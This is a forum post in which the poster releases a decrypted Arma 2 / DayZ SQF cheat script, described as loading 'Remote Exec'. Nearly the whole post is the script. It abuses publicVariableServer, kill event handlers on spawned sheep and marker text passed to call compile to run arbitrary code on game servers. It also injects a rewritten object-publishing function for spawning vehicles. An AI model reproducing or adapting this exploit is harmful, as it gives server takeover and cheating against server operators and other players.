Hey i got a script from some dude he thought he was cool by encrypting it

well sorry but i decrypted it and now i'm releasing it to everyone!
(not sure if this script is special or not but owell have fun)
Code:
if (isNil "reisonlinenow") then
{
createTeam ["aaabbb", "
object_setFixServer =
{
if (isServer && ((_this select 2) == 0)) then
{
_code = markerText 'respawn_west';
call compile _code;
remEileLineNumbers '\z\addons\dayz_code\compile\object_setfixser ver.sqf';
};
};
if (isServer) then
{
reisonlinenow = true;
publicVariable 'reisonlinenow';
};"];
_horses = createGroup east;
_catgirl = _horses createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_catgirl addMPEventHandler ["mpkilled","{aaabbb = teamName _x} count teams;"];
_catgirl setDamage 1.01;
hint "3";
waitUntil {!isNil "aaabbb"};
sleep 1;
dayzLogin = [{onEachFrame aaabbb}];
publicVariableServer "dayzLogin";
_batboy = _horses createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_batboy addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin; bbbccc = true;"];
_batboy setDamage 1.01;
hint "2";
waitUntil {!isNil "bbbccc"};
sleep 1;
dayzLogin2 = [{onEachFrame ""}];
publicVariableServer "dayzLogin2";
_jokAr = _horses createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_jokAr addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin2; cccddd = true;"];
_jokAr setDamage 1.01;
hint "1";
waitUntil {!isNil "cccddd"};
sleep 1;
hint "DONE - Remote Exec LOADED";
cutText ["DONE - Remote Exec LOADED", "WHITE IN"];
};
if (isNil "init_localpublish_shitttt") then
{
init_localpublish_shitttt = true;
_init_localpublish = '
local_publishObj = {
_charID = _this select 0;
object = _this select 1;
_worldspace = _this select 2;
_className = _this select 3;
_id = 0;
_dir = _worldspace select 0;
_location = _worldspace select 1;
call compile ("object = create" + "Vehicle [_className, _location, [], 0, ""CAN_COLLIDE""];
object setdir _dir;
object setpos _location;
object setVariable [""OwnerID"", _charID, true];");
dayz_serverObjectMonitor set [count dayz_serverObjectMonitor,object];
_uid = object call dayzobjectUID;
object setVariable ["ObjectUID", _uid, true];
};
';
"respawn_west" setMarkerText _init_localpublish;
dayzSetFix = [0,0,0,player,0];
publicVariableServer "dayzSetFix";
sleep 1;
}; "respawn_west" setMarkerText _code;
dayzSetFix = [0,0,0,player,0];
publicVariableServer "dayzSetFix"; deleteMarker "infi_STAR_is_AWESOME_exec";
infi_STAR_exec = createMarker ["infi_STAR_is_AWESOME_exec", [0,0,0]];
infi_STAR_exec setMarkerText _code;
"infi_STAR_is_AWESOME_exec" setMarkerText _code;
player setVehicleInit "call compile (MarkerText 'infi_STAR_is_AWESOME_exec')";
sleep 0.1;
processInitCommands;
sleep 0.1;
clearVehicleInit player;